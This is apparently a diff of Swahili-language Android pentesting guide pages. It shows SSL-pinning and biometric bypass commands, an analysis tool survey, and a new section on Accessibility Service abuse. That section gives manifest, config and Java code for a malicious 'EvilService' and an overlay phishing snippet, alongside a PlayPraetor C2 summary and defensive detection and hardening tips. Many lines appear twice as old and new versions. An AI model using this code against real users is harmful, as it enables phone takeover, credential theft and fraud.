Programu zinazolenga **API Level 24 na juu** zinahitaji marekebisho kwenye Mipangilio ya Usalama wa Mtandao ili kukubali cheti cha CA cha proxy. Hatua hii ni muhimu kwa kukagua trafiki iliyosimbwa. Kwa maelekezo ya kubadilisha Mipangilio ya Usalama wa Mtandao, [**rejelea mafunzo haya**](make-apk-accept-ca-certificate.md).
Ikiwa **Flutter** inatumika unahitaji kufuata maelekezo katika [**ukurasa huu**](flutter.md). Hii ni kwa sababu, kuongeza cheti kwenye duka hakutafanya kazi kwani Flutter ina orodha yake ya CAs halali.
@ -424,17 +425,17 @@ Wakati SSL Pinning inatekelezwa, kuipita inakuwa muhimu ili kukagua trafiki ya H
- Kiotomatiki **badilisha** **apk** ili **kuipita** SSLPinning kwa kutumia [**apk-mitm**](https://github.com/shroudedcode/apk-mitm). Faida bora ya chaguo hili, ni kwamba hutahitaji root ili kuipita SSL Pinning, lakini utahitaji kufuta programu na kuisakinisha mpya, na hii haitafanya kazi kila wakati.
- Unaweza kutumia **Frida** (iliyajadiliwa hapa chini) kuipita ulinzi huu. Hapa kuna mwongozo wa kutumia Burp+Frida+Genymotion: [https://spenkk.github.io/bugbounty/Configuring-Frida-with-Burp-and-GenyMotion-to-bypass-SSL-Pinning/](https://spenkk.github.io/bugbounty/Configuring-Frida-with-Burp-and-GenyMotion-to-bypass-SSL-Pinning/)
- Unaweza pia kujaribu **kuipita SSL Pinning kiotomatiki** kwa kutumia [**objection**](frida-tutorial/objection-tutorial.md)**:** `objection --gadget com.package.app explore --startup-command "android sslpinning disable"`
- Unaweza pia kujaribu **kuipita SSL Pinning kiotomatiki** kwa kutumia **MobSF uchambuzi wa dynamic** (ilielezewa hapa chini)
- Ikiwa bado unafikiri kuna trafiki ambayo hujaipata unaweza kujaribu **kupeleka trafiki kwa burp kwa kutumia iptables**. Soma blog hii: [https://infosecwriteups.com/bypass-ssl-pinning-with-ip-forwarding-iptables-568171b52b62](https://infosecwriteups.com/bypass-ssl-pinning-with-ip-forwarding-iptables-568171b52b62)
- Unaweza pia kujaribu **kuipita SSL Pinning kiotomatiki** kwa kutumia **MobSF uchambuzi wa dynamic** (iliyofafanuliwa hapa chini)
- Ikiwa bado unafikiri kuna trafiki ambayo hujapata unaweza kujaribu **kupeleka trafiki kwa burp kwa kutumia iptables**. Soma blog hii: [https://infosecwriteups.com/bypass-ssl-pinning-with-ip-forwarding-iptables-568171b52b62](https://infosecwriteups.com/bypass-ssl-pinning-with-ip-forwarding-iptables-568171b52b62)
#### Looking for Common Web Vulnerabilities
Ni muhimu pia kutafuta udhaifu wa kawaida wa wavuti ndani ya programu. Maelezo ya kina juu ya kutambua na kupunguza udhaifu hizi yapo nje ya upeo wa muhtasari huu lakini yanashughulikiwa kwa kina mahali pengine.
Ni muhimu pia kutafuta hatari za kawaida za wavuti ndani ya programu. Maelezo ya kina juu ya kutambua na kupunguza hatari hizi yapo nje ya upeo wa muhtasari huu lakini yanashughulikiwa kwa kina mahali pengine.
### Frida
[Frida](https://www.frida.re) ni zana ya uhandisi wa dynamic kwa waendelezaji, wahandisi wa kurudi, na watafiti wa usalama.\
**Unaweza kufikia programu inayotembea na kuunganisha mbinu wakati wa wakati wa kukarabati, kubadilisha tabia, kubadilisha thamani, kutoa thamani, kukimbia code tofauti...**\
**Unaweza kufikia programu inayotembea na kuunganisha mbinu wakati wa wakati wa kukarabati tabia, kubadilisha thamani, kutoa thamani, kuendesha code tofauti...**\
Ikiwa unataka kufanya pentest kwenye programu za Android unahitaji kujua jinsi ya kutumia Frida.
- Jifunze jinsi ya kutumia Frida: [**Frida tutorial**](frida-tutorial/index.html)
@ -472,15 +473,15 @@ frida -U -f com.example.app -l frida-scripts/tracer-cipher.js
```
### **Fingerprint/Biometrics Bypass**
Kwa kutumia skripti ifuatayo ya Frida inaweza kuwa inawezekana **kuzidi uthibitishaji wa alama za vidole** ambayo programu za Android zinaweza kuwa zinafanya ili **kulinda maeneo fulani nyeti:**
Kwa kutumia skripti ifuatayo ya Frida inaweza kuwa inawezekana **kuzidi uthibitisho wa alama za vidole** ambayo programu za Android zinaweza kuwa zinafanya ili **kulinda maeneo fulani nyeti:**
```bash
frida --codeshare krapgras/android-biometric-bypass-update-android-11 -U -f <app.package>
```
### **Picha za Muktadha**
Wakati unapoweka programu katika muktadha, Android huhifadhi **picha ya programu** ili wakati inaporejeshwa kwenye mbele inaanza kupakia picha kabla ya programu ili ionekane kama programu imepakiwa haraka.
Unapoweka programu katika muktadha, Android huhifadhi **picha ya programu** ili wakati inaporejeshwa kwenye mbele inaanza kupakia picha kabla ya programu ili ionekane kama programu imepakiwa haraka.
Hata hivyo, ikiwa picha hii ina **taarifa nyeti**, mtu mwenye ufikiaji wa picha hiyo anaweza **kuiba taarifa hiyo** (kumbuka kuwa unahitaji root ili kuweza kuifikia).
Hata hivyo, ikiwa picha hii ina **habari nyeti**, mtu mwenye ufikiaji wa picha hiyo anaweza **kuchukua habari hiyo** (kumbuka kuwa unahitaji root ili kuweza kuifikia).
Picha hizo kwa kawaida huhifadhiwa katika: **`/data/system_ce/0/snapshots`**
@ -492,28 +493,28 @@ getWindow().setFlags(LayoutParams.FLAG_SECURE, LayoutParams.FLAG_SECURE);
Chombo hiki kinaweza kukusaidia kusimamia zana mbalimbali wakati wa uchambuzi wa dynamic: [https://github.com/NotSoSecure/android_application_analyzer](https://github.com/NotSoSecure/android_application_analyzer)
### Uingizaji wa Intent
### Kuingilia kwa Intent
Wakuu wa programu mara nyingi huunda vipengele vya proxy kama shughuli, huduma, na wapokeaji wa matangazo ambao hushughulikia hizi Intents na kuzipitisha kwa mbinu kama `startActivity(...)` au `sendBroadcast(...)`, ambayo inaweza kuwa hatari.
Hatari iko katika kuruhusu washambuliaji kuanzisha vipengele vya programu visivyoweza kusambazwa au kufikia watoa maudhui nyeti kwa kuhamasisha hizi Intents. Mfano maarufu ni kipengele cha `WebView` kinachobadilisha URLs kuwa vitu vya `Intent` kupitia `Intent.parseUri(...)` na kisha kuvitenda, ambayo inaweza kusababisha uingizaji wa Intent mbaya.
Hatari iko katika kuruhusu washambuliaji kuanzisha vipengele vya programu visivyoweza kusambazwa au kufikia watoa maudhui nyeti kwa kuhamasisha hizi Intents. Mfano maarufu ni kipengele cha `WebView` kinachobadilisha URLs kuwa vitu vya `Intent` kupitia `Intent.parseUri(...)` na kisha kuvitenda, ambayo inaweza kusababisha kuingilia kwa Intents zenye uharibifu.
### Maelezo Muhimu
- **Uingizaji wa Intent** ni sawa na tatizo la Open Redirect la wavuti.
- **Kuingilia kwa Intent** ni sawa na tatizo la Open Redirect la wavuti.
- Uhalifu unahusisha kupitisha vitu vya `Intent` kama ziada, ambavyo vinaweza kuelekezwa kutekeleza operesheni zisizo salama.
- Inaweza kufichua vipengele visivyoweza kusambazwa na watoa maudhui kwa washambuliaji.
- Mabadiliko ya URL ya `WebView` kuwa `Intent` yanaweza kuwezesha vitendo visivyokusudiwa.
- Kubadilisha URL ya `WebView` kuwa `Intent` kunaweza kuwezesha vitendo visivyokusudiwa.
### Uingizaji wa Kando ya Mteja wa Android na mengineyo
### Kuingilia kwa Kliendi ya Android na mengineyo
Labda unajua kuhusu aina hii ya udhaifu kutoka kwa Wavuti. Lazima uwe makini sana na udhaifu huu katika programu ya Android:
- **Uingizaji wa SQL:** Unaposhughulikia maswali ya dynamic au Watoa-Maudhui hakikisha unatumia maswali yaliyowekwa.
- **Uingizaji wa JavaScript (XSS):** Hakikisha kuwa msaada wa JavaScript na Plugin umezimwa kwa WebViews yoyote (umezimwa kwa default). [Maelezo zaidi hapa](webview-attacks.md#javascript-enabled).
- **Ujumuishaji wa Faili za Mitaa:** WebViews zinapaswa kuwa na ufikiaji wa mfumo wa faili umezimwa (umewezeshwa kwa default) - `(webview.getSettings().setAllowFileAccess(false);)`. [Maelezo zaidi hapa](webview-attacks.md#javascript-enabled).
- **Kuki za Milele**: Katika kesi kadhaa wakati programu ya android inamaliza kikao, kuki haifutwi au inaweza hata kuhifadhiwa kwenye diski.
- [**Lipu la Usalama** katika kuki](../../pentesting-web/hacking-with-cookies/index.html#cookies-flags)
- **SQL Injection:** Unaposhughulika na maswali ya dynamic au Watoa-Maudhui hakikisha unatumia maswali yaliyopangwa.
- **JavaScript Injection (XSS):** Hakikisha kuwa msaada wa JavaScript na Plugin umezimwa kwa WebViews yoyote (umezimwa kwa default). [Maelezo zaidi hapa](webview-attacks.md#javascript-enabled).
- **Inclusion ya Faili za Mitaa:** WebViews zinapaswa kuwa na ufikiaji wa mfumo wa faili umezimwa (umewezeshwa kwa default) - `(webview.getSettings().setAllowFileAccess(false);)`. [Maelezo zaidi hapa](webview-attacks.md#javascript-enabled).
- **Cookies za Milele**: Katika kesi kadhaa wakati programu ya android inamaliza kikao, cookie haifutwi au inaweza hata kuhifadhiwa kwenye diski.
- [**Lipu la Usalama** katika cookies](../../pentesting-web/hacking-with-cookies/index.html#cookies-flags)
---
@ -544,23 +545,23 @@ MobSF pia inakuwezesha **diff/Compare** uchambuzi na kuunganisha **VirusTotal**
- Captura **trafiki ya HTTPS**
- Tumia **Frida** kupata **maelezo ya wakati wa utekelezaji**
Kuanzia toleo la android **> 5**, itaanza **Frida** kiotomatiki na kuweka mipangilio ya **proxy** ya kimataifa ili **kuchukua** trafiki. Itachukua tu trafiki kutoka kwa programu iliyojaribiwa.
Kuanzia **matoleo ya android > 5**, itaanza **Frida** kiotomatiki na kuweka mipangilio ya **proxy** ya kimataifa ili **kuchukua** trafiki. Itachukua tu trafiki kutoka kwa programu iliyojaribiwa.
**Frida**
Kwa kawaida, itatumia baadhi ya Scripts za Frida ili **kupita SSL pinning**, **ugunduzi wa root** na **ugunduzi wa debugger** na **kufuatilia APIs za kuvutia**.\
MobSF pia inaweza **kuita shughuli zilizofanywa**, kuchukua **picha za skrini** za hizo na **kuhifadhi** kwa ripoti.
MobSF pia inaweza **kuitisha shughuli zilizofanywa**, kuchukua **picha za skrini** za hizo na **kuhifadhi** kwa ripoti.
Ili **kuanza** upimaji wa dynamic bonyeza kitufe kibichi: "**Start Instrumentation**". Bonyeza "**Frida Live Logs**" kuona logs zinazozalishwa na scripts za Frida na "**Live API Monitor**" kuona kila mwito kwa mbinu zilizoshikiliwa, hoja zilizopitishwa na thamani zilizorejeshwa (hii itaonekana baada ya kubonyeza "Start Instrumentation").\
MobSF pia inakuwezesha kupakia **scripts za Frida** zako mwenyewe (ili kutuma matokeo ya scripts zako za Ijumaa kwa MobSF tumia kazi `send()`). Pia ina **scripts kadhaa zilizandikwa awali** ambazo unaweza kupakia (unaweza kuongeza zaidi katika `MobSF/DynamicAnalyzer/tools/frida_scripts/others/`), chagua tu **zile**, bonyeza "**Load**" na bonyeza "**Start Instrumentation**" (utaweza kuona logs za hizo scripts ndani ya "**Frida Live Logs**").
MobSF pia inakuwezesha kupakia **scripts za Frida** zako mwenyewe (ili kutuma matokeo ya scripts zako za Ijumaa kwa MobSF tumia kazi `send()`). Pia ina **scripts kadhaa zilizandikwa awali** ambazo unaweza kupakia (unaweza kuongeza zaidi katika `MobSF/DynamicAnalyzer/tools/frida_scripts/others/`), chagua tu **zinazo**, bonyeza "**Load**" na bonyeza "**Start Instrumentation**" (utaweza kuona logs za hizo scripts ndani ya "**Frida Live Logs**").
![](<../../images/image (419).png>)
Zaidi ya hayo, una baadhi ya kazi za ziada za Frida:
- **Enumerate Loaded Classes**: Itachapisha kila darasa lililopakiwa
- **Capture Strings**: Itachapisha kila nyenzo iliyokamatwa wakati wa kutumia programu (sauti nyingi)
- **Capture String Comparisons**: Inaweza kuwa ya manufaa sana. It **onyesha nyenzo 2 zinazolinganishwa** na ikiwa matokeo yalikuwa Kweli au Uongo.
- **Capture Strings**: Itachapisha kila nyuzi zilizokamatwa wakati wa kutumia programu (sauti nyingi)
- **Capture String Comparisons**: Inaweza kuwa ya manufaa sana. It **onyesha nyuzi 2 zinazolinganishwa** na ikiwa matokeo yalikuwa Kweli au Uongo.
- **Enumerate Class Methods**: Weka jina la darasa (kama "java.io.File") na itachapisha mbinu zote za darasa hilo.
- **Search Class Pattern**: Tafuta madarasa kwa muundo
- **Trace Class Methods**: **Trace** **darasa zima** (ona ingizo na matokeo ya mbinu zote za darasa hilo). Kumbuka kwamba kwa kawaida MobSF inafuatilia mbinu kadhaa za kuvutia za Android Api.
@ -583,10 +584,10 @@ receivers
Wakati trafiki ya http inakamatwa unaweza kuona mtazamo mbaya wa trafiki iliyokamatwa kwenye "**HTTP(S) Traffic**" chini au mtazamo mzuri kwenye "**Start HTTPTools**" kitufe kibichi. Kutoka kwenye chaguo la pili, unaweza **kutuma** **maombi yaliyokamatwa** kwa **proxies** kama Burp au Owasp ZAP.\
Ili kufanya hivyo, _washa Burp -->_ _zimisha Intercept --> katika MobSB HTTPTools chagua ombi_ --> bonyeza "**Send to Fuzzer**" --> _chagua anwani ya proxy_ ([http://127.0.0.1:8080\\](http://127.0.0.1:8080)).
Mara tu unapo maliza uchambuzi wa dynamic na MobSF unaweza kubonyeza "**Start Web API Fuzzer**" ili **fuzz maombi ya http** na kutafuta udhaifu.
Mara tu unapo maliza uchambuzi wa dynamic na MobSF unaweza kubonyeza "**Start Web API Fuzzer**" ili **fuzz http requests** na kutafuta udhaifu.
> [!TIP]
> Baada ya kufanya uchambuzi wa dynamic na MobSF mipangilio ya proxy inaweza kuwa imepangwa vibaya na huwezi kuziweka sawa kutoka kwenye GUI. Unaweza kurekebisha mipangilio ya proxy kwa kufanya:
> Baada ya kufanya uchambuzi wa dynamic na MobSF mipangilio ya proxy inaweza kuwa na makosa na huwezi kuziweka sawa kutoka kwenye GUI. Unaweza kurekebisha mipangilio ya proxy kwa kufanya:
>
> ```
> adb shell settings put global http_proxy :0
@ -599,13 +600,13 @@ Chombo hiki kitatumia **Hooks** kukujulisha **kila kinachotokea katika programu*
### [Yaazhini](https://www.vegabird.com/yaazhini/)
Hii ni **chombo kizuri kufanya uchambuzi wa static na GUI**
Hii ni **zana nzuri ya kufanya uchambuzi wa statiki na GUI**
![](<../../images/image (741).png>)
### [Qark](https://github.com/linkedin/qark)
Chombo hiki kimeundwa kutafuta udhaifu kadhaa **yanayohusiana na usalama wa programu za Android**, iwe katika **kanuni ya chanzo** au **APKs zilizopakiwa**. Chombo hiki pia **kina uwezo wa kuunda "Proof-of-Concept" APK inayoweza kutekelezwa** na **amri za ADB**, ili kutumia baadhi ya udhaifu uliofindika (Shughuli zilizo wazi, nia, tapjacking...). Kama ilivyo kwa Drozer, hakuna haja ya ku-root kifaa kinachojaribiwa.
Chombo hiki kimeundwa kutafuta **udhaifu kadhaa zinazohusiana na usalama wa programu za Android**, iwe katika **msimbo wa chanzo** au **APKs zilizopakiwa**. Chombo hiki pia **kina uwezo wa kuunda "Proof-of-Concept" APK inayoweza kutekelezwa** na **amri za ADB**, ili kutumia baadhi ya udhaifu uliofindika (Shughuli zilizofichuliwa, nia, tapjacking...). Kama ilivyo kwa Drozer, hakuna haja ya ku-root kifaa kinachojaribiwa.
```bash
pip3 install --user qark # --user is only needed if not using a virtualenv
qark --apk path/to/my.apk
@ -614,7 +615,7 @@ qark --java path/to/specific/java/file.java
```
### [**ReverseAPK**](https://github.com/1N3/ReverseAPK.git)
- Inaonyesha faili zote zilizovunjwa kwa ajili ya marejeleo rahisi
- Inaonyesha faili zote zilizotolewa kwa ajili ya rejeleo rahisi
- Inachambua faili za APK moja kwa moja hadi katika muundo wa Java na Smali
- Changanua AndroidManifest.xml kwa ajili ya udhaifu na tabia za kawaida
- Uchambuzi wa msimbo wa chanzo wa statiki kwa ajili ya udhaifu na tabia za kawaida
@ -637,7 +638,7 @@ super-analyzer {apk_file}
![](<../../images/image (297).png>)
StaCoAn ni chombo **crossplatform** ambacho kinawasaidia waendelezaji, wawindaji wa makosa na hackers wa kimaadili kufanya [static code analysis](https://en.wikipedia.org/wiki/Static_program_analysis) kwenye programu za simu.
StaCoAn ni chombo **crossplatform** ambacho husaidia waendelezaji, wawindaji wa makosa na hackers wa kimaadili wanaofanya [static code analysis](https://en.wikipedia.org/wiki/Static_program_analysis) kwenye programu za simu.
Wazo ni kwamba unavuta na kuacha faili yako ya programu ya simu (faili .apk au .ipa) kwenye programu ya StaCoAn na itaunda ripoti ya kuona na kubebeka kwako. Unaweza kubadilisha mipangilio na orodha za maneno ili kupata uzoefu wa kibinafsi.
@ -655,11 +656,11 @@ androbugs.exe -f [APK file]
```
### [Androwarn](https://github.com/maaaaz/androwarn)
**Androwarn** ni chombo ambacho lengo lake kuu ni kugundua na kuonya mtumiaji kuhusu tabia mbaya zinazoweza kutokea zinazotengenezwa na programu ya Android.
**Androwarn** ni chombo chenye lengo kuu la kugundua na kumwonya mtumiaji kuhusu tabia mbaya zinazoweza kutokea kutoka kwa programu ya Android.
Gundua inafanywa kwa **uchambuzi wa statiki** wa bytecode ya Dalvik ya programu, inayowakilishwa kama **Smali**, kwa kutumia maktaba ya [`androguard`](https://github.com/androguard/androguard).
Chombo hiki kinatafuta **tabia za kawaida za programu "mbaya"** kama: Uhamasishaji wa vitambulisho vya Simu, Ukatishaji wa mtiririko wa Sauti/video, Marekebisho ya data za PIM, Utekelezaji wa msimbo wa kiholela...
Chombo hiki kinatafuta **tabia za kawaida za programu "mbaya"** kama: uhamasishaji wa vitambulisho vya Simu, upokeaji wa mtiririko wa sauti/video, mabadiliko ya data za PIM, utekelezaji wa msimbo wa kiholela...
```
python androwarn.py -i my_application_to_be_analyzed.apk -r html -v 3
```
@ -667,7 +668,7 @@ python androwarn.py -i my_application_to_be_analyzed.apk -r html -v 3
![](<../../images/image (595).png>)
**MARA** ni **M**ifumo wa **A**nalizi na **R**everse engineering wa **A**pplikesheni za **M**obile. Ni chombo kinachokusanya zana zinazotumika mara kwa mara za reverse engineering na uchambuzi wa programu za simu, kusaidia katika kupima programu za simu dhidi ya vitisho vya usalama wa simu vya OWASP. Lengo lake ni kufanya kazi hii iwe rahisi na rafiki kwa watengenezaji wa programu za simu na wataalamu wa usalama.
**MARA** ni **M**ifumo ya **A**pplikasheni ya **R**everse engineering na **A**nalysis. Ni chombo kinachokusanya zana zinazotumika mara kwa mara za reverse engineering na uchambuzi wa programu za simu, kusaidia katika kupima programu za simu dhidi ya vitisho vya usalama wa simu vya OWASP. Lengo lake ni kufanya kazi hii iwe rahisi na rafiki kwa watengenezaji wa programu za simu na wataalamu wa usalama.
Inauwezo wa:
@ -699,16 +700,16 @@ Pata mwongozo wa hatua kwa hatua wa kuondoa obfuscation ya apk katika [https://b
(Kutoka kwa mwongozo huo) Mara ya mwisho tulipoangalia, hali ya uendeshaji ya Dexguard ilikuwa:
- kupakia rasilimali kama InputStream;
- kutoa matokeo kwa darasa linalorithi kutoka FilterInputStream ili kuyafungua;
- kutoa matokeo kwa darasa linalorithi kutoka FilterInputStream ili kuyafichua;
- kufanya obfuscation isiyo na maana ili kupoteza dakika chache za muda kutoka kwa mrejeshaji;
- kutoa matokeo yaliyofunguliwa kwa ZipInputStream ili kupata faili ya DEX;
- kutoa matokeo yaliyofichuliwa kwa ZipInputStream ili kupata faili ya DEX;
- hatimaye kupakia DEX inayotokana kama Rasilimali kwa kutumia njia ya `loadDex`.
### [DeGuard](http://apk-deguard.com)
**DeGuard inarudisha mchakato wa obfuscation uliofanywa na zana za obfuscation za Android. Hii inaruhusu uchambuzi mwingi wa usalama, ikiwa ni pamoja na ukaguzi wa msimbo na kutabiri maktaba.**
Unaweza kupakia APK iliyokuwa obfuscated kwenye jukwaa lao.
Unaweza kupakia APK iliyofichwa kwenye jukwaa lao.
### [Deobfuscate android App]https://github.com/In3tinct/deobfuscate-android-app
@ -720,7 +721,7 @@ Ni **deobfuscator ya android ya jumla.** Simplify **inatekeleza programu kwa kar
### [APKiD](https://github.com/rednaga/APKiD)
APKiD inakupa taarifa kuhusu **jinsi APK ilivyotengenezwa**. Inatambua **kompila**, **pakka**, **obfuscators**, na vitu vingine vya ajabu. Ni [_PEiD_](https://www.aldeid.com/wiki/PEiD) kwa Android.
APKiD inakupa taarifa kuhusu **jinsi APK ilivyotengenezwa**. Inatambua waandishi wengi wa **programu**, **paket**, **obfuscators**, na vitu vingine vya ajabu. Ni [_PEiD_](https://www.aldeid.com/wiki/PEiD) kwa Android.
### Manual

View File

@ -0,0 +1,145 @@
# Android Accessibility Service Abuse
{{#include ../../banners/hacktricks-training.md}}
## Overview
`AccessibilityService` iliumbwa kusaidia watumiaji wenye ulemavu kuingiliana na vifaa vya Android. Kwa bahati mbaya, APIs hizi za **automatisering yenye nguvu** (urambazaji wa kimataifa, uandishi wa maandiko, usambazaji wa ishara, madirisha ya overlay…) zinaweza kutumika na malware kupata **udhibiti kamili wa mbali** wa simu _bila ruhusa za root_.
Trojan za benki za kisasa za Android na Trojan za Upatikanaji wa Mbali (RATs) kama **PlayPraetor, SpyNote, BrasDex, SOVA, ToxicPanda** na wengine wengi wanafuata mapishi sawa:
1. Mtu wa kijamii amshawishi mwathirika kuwezesha huduma ya upatikanaji isiyo halali (ruhusa ya *BIND_ACCESSIBILITY_SERVICE* inachukuliwa kuwa "hatari kubwa" na inahitaji hatua wazi kutoka kwa mtumiaji).
2. Tumia huduma hiyo ili
* kukamata kila tukio la UI na maandiko yanayoonekana kwenye skrini,
* kuingiza ishara za bandia (`dispatchGesture`) na vitendo vya kimataifa (`performGlobalAction`) ili automatishe kazi yoyote anayotaka opereta,
* kuchora overlays za skrini nzima juu ya programu halali kwa kutumia aina ya dirisha **TYPE_ACCESSIBILITY_OVERLAY** (hakuna onyo la `SYSTEM_ALERT_WINDOW`!),
* kimya kimya kutoa ruhusa za ziada za wakati wa kukimbia kwa kubofya kwenye mazungumzo ya mfumo kwa niaba ya mwathirika.
3. Kutolea data au kufanya **On-Device-Fraud (ODF)** kwa wakati halisi wakati mtumiaji anatazama skrini ambayo ni ya kawaida kabisa.
---
## Requesting the permission
```xml
<!-- AndroidManifest.xml -->
<service
android:name="com.evil.rat.EvilService"
android:permission="android.permission.BIND_ACCESSIBILITY_SERVICE"
android:exported="false">
<intent-filter>
<action android:name="android.accessibilityservice.AccessibilityService" />
</intent-filter>
<meta-data android:name="android.accessibilityservice"
android:resource="@xml/evil_accessibility_config"/>
</service>
```
XML ya mshirika inaelezea jinsi mazungumzo ya uwongo yatakavyokuwa:
```xml
<?xml version="1.0" encoding="utf-8"?>
<accessibility-service xmlns:android="http://schemas.android.com/apk/res/android"
android:description="@string/service_description"
android:accessibilityEventTypes="typeAllMask"
android:accessibilityFeedbackType="feedbackGeneric"
android:notificationTimeout="200"
android:canPerformGestures="true"
android:canRetrieveWindowContent="true"/>
```
---
## Msingi wa automatisering ya UI ya mbali
```java
public class EvilService extends AccessibilityService {
@Override
public void onAccessibilityEvent(AccessibilityEvent event) {
// harvest text or detect foreground app change
}
// Simulate HOME / BACK / RECENTS …
private void navHome() { performGlobalAction(GLOBAL_ACTION_HOME); }
private void navBack() { performGlobalAction(GLOBAL_ACTION_BACK); }
private void openRecents() { performGlobalAction(GLOBAL_ACTION_RECENTS); }
// Generic tap / swipe
public void tap(float x, float y) {
Path p = new Path(); p.moveTo(x, y);
GestureDescription.StrokeDescription s = new GestureDescription.StrokeDescription(p, 0, 50);
dispatchGesture(new GestureDescription.Builder().addStroke(s).build(), null, null);
}
}
```
Kwa kutumia APIs hizi mbili tu, mshambuliaji anaweza:
* Kufungua skrini, kufungua programu ya benki, kuhamasisha mti wa UI wake na kuwasilisha fomu ya uhamisho.
* Kukubali kila sanduku la ruhusa linalojitokeza.
* Kuweka/update APK za ziada kupitia dhamira ya Play Store.
---
## Mifumo ya Unyanyasaji
### 1. Ulaghai wa Overlay (Kukusanya Taarifa za Utambulisho)
`WebView` ya uwazi au isiyo ya uwazi inaongezwa kwenye meneja wa dirisha:
```java
WindowManager.LayoutParams lp = new WindowManager.LayoutParams(
MATCH_PARENT, MATCH_PARENT,
TYPE_ACCESSIBILITY_OVERLAY, // ⬅ bypasses SYSTEM_ALERT_WINDOW
FLAG_NOT_FOCUSABLE | FLAG_NOT_TOUCH_MODAL, // touches still reach the real app
PixelFormat.TRANSLUCENT);
wm.addView(phishingView, lp);
```
Mtu waathirika anaandika taarifa za kuingia kwenye fomu ya uwongo wakati programu ya nyuma inapokea ishara hizo hizo hakuna onyo la "draw over other apps" linaloonekana.
> Mfano wa kina: sehemu ya *Accessibility Overlay Phishing* ndani ya ukurasa wa Tapjacking.
### 2. Uhalifu wa Otomatiki kwenye Kifaa
Familia za malware kama **PlayPraetor** zinaweka channel ya WebSocket inayodumu ambapo opereta anaweza kutoa amri za kiwango cha juu (`init`, `update`, `alert_arr`, `report_list`, …). Huduma hiyo inatafsiri amri hizo kuwa ishara za kiwango cha chini hapo juu, ikifanikisha shughuli zisizoidhinishwa za wakati halisi ambazo kwa urahisi hupita uthibitishaji wa hatua nyingi uliofungwa kwa kifaa hicho.
### 3. Utiririshaji wa Skrini & Ufuatiliaji
Kwa kuunganisha **MediaProjection API** na maktaba ya mteja wa RTMP, RAT inaweza kutangaza framebuffer ya moja kwa moja kwa `rtmp://<c2>:1935/live/<device_id>`, ikimpa mpinzani ufahamu kamili wa hali wakati injini ya Accessibility inasababisha UI.
---
## PlayPraetor mtiririko wa amri & udhibiti
1. **HTTP(S) heartbeat** piga duru kwenye orodha iliyoandikwa kwa mkono hadi kikoa kimoja kijibu `POST /app/searchPackageName` na C2 inayofanya kazi.
2. **WebSocket (bandari 8282)** amri za JSON za pande mbili:
* `update` peleka mipangilio mipya/APKs
* `alert_arr` tengeneza templeti za overlay
* `report_list` tuma orodha ya majina ya pakiti yaliyolengwa
* `heartbeat_web` keep-alive
3. **RTMP (bandari 1935)** utiririshaji wa skrini/video wa moja kwa moja.
4. **REST exfiltration**
* `/app/saveDevice` (alama ya kidole)
* `/app/saveContacts` | `/app/saveSms` | `/app/uploadImageBase64`
* `/app/saveCardPwd` (taarifa za benki)
**AccessibilityService** ni injini ya ndani inayogeuza amri hizo za wingu kuwa mwingiliano wa kimwili.
---
## Kugundua huduma za upatikanaji zenye uharibifu
* `adb shell settings get secure enabled_accessibility_services`
* Mipangilio → Upatikanaji → *Huduma zilizopakuliwa* angalia programu ambazo **sio** kutoka Google Play.
* Mifumo ya MDM / EMM inaweza kutekeleza `ACCESSIBILITY_ENFORCEMENT_DEFAULT_DENY` (Android 13+) kuzuia huduma zilizopakuliwa.
* Changanua huduma zinazofanya kazi:
```bash
adb shell dumpsys accessibility | grep "Accessibility Service"
```
---
## Mapendekezo ya kuimarisha kwa waendelezaji wa programu
* Alama maoni nyeti kwa `android:accessibilityDataSensitive="accessibilityDataPrivateYes"` (API 34+).
* Changanya `setFilterTouchesWhenObscured(true)` na `FLAG_SECURE` ili kuzuia utekaji wa tap/overlay.
* Gundua overlays kwa kupiga kura `WindowManager.getDefaultDisplay().getFlags()` au API ya `ViewRootImpl`.
* Kata kufanya kazi wakati `Settings.canDrawOverlays()` **au** huduma ya Upatikanaji isiyoaminika inafanya kazi.
---
## Marejeleo
* [PlayPraetors evolving threat: How Chinese-speaking actors globally scale an Android RAT](https://www.cleafy.com/cleafy-labs/playpraetors-evolving-threat-how-chinese-speaking-actors-globally-scale-an-android-rat)
* [Android accessibility documentation Automating UI interaction](https://developer.android.com/guide/topics/ui/accessibility/service)
{{#include ../../banners/hacktricks-training.md}}

View File

@ -17,7 +17,7 @@ Unaweza pia kuangalia toleo la chini la SDK la programu, ukichunguza thamani ya
#### Android 12 (API 31,32) na juu
[**Kulingana na chanzo hiki**](https://www.geeksforgeeks.org/tapjacking-in-android/)**,** mashambulizi ya tapjacking yanazuia kiotomatiki na Android kuanzia Android 12 (API 31 & 30) na juu. Hivyo, hata kama programu ina hatari huwezi **kuweza kuitumia**.
[**Kulingana na chanzo hiki**](https://www.geeksforgeeks.org/tapjacking-in-android/)**,** mashambulizi ya tapjacking yanazuia kiotomatiki na Android kuanzia Android 12 (API 31 & 30) na juu. Hivyo, hata kama programu hiyo inahatarishwa hu **wezi kuitumia**.
#### `filterTouchesWhenObscured`
@ -26,7 +26,7 @@ Ikiwa **`android:filterTouchesWhenObscured`** imewekwa kuwa **`true`**, `View` h
#### **`setFilterTouchesWhenObscured`**
Sifa **`setFilterTouchesWhenObscured`** iliyowekwa kuwa kweli pia inaweza kuzuia matumizi ya udhaifu huu ikiwa toleo la Android ni la chini.\
Ikiwa imewekwa kuwa **`true`**, kwa mfano, kitufe kinaweza ku **zuiliwa kiotomatiki ikiwa kimefunikwa**:
Ikiwa imewekwa kuwa **`true`**, kwa mfano, kitufe kinaweza ku **zimwa kiotomatiki ikiwa kimefunikwa**:
```xml
<Button android:text="Button"
android:id="@+id/button1"
@ -50,7 +50,7 @@ Mradi wa mfano unaotekeleza **FloatingWindowApp**, ambayo inaweza kutumika kuwek
### Qark
> [!CAUTION]
> Inaonekana mradi huu sasa hauhifadhiwi na kazi hii haifanyi kazi vizuri tena
> Inaonekana mradi huu sasa hauhifadhiwi na kazi hii haifanyi kazi ipasavyo tena
Unaweza kutumia [**qark**](https://github.com/linkedin/qark) na vigezo `--exploit-apk` --sdk-path `/Users/username/Library/Android/sdk` ili kuunda programu mbaya ya kujaribu uwezekano wa **Tapjacking** udhaifu.\
@ -64,10 +64,10 @@ Kuzuia ni rahisi kwa sababu mtengenezaji anaweza kuchagua kutopokea matukio ya k
## Ulaghai wa Overlay wa Upatikanaji (Toleo la Benki-Trojan)
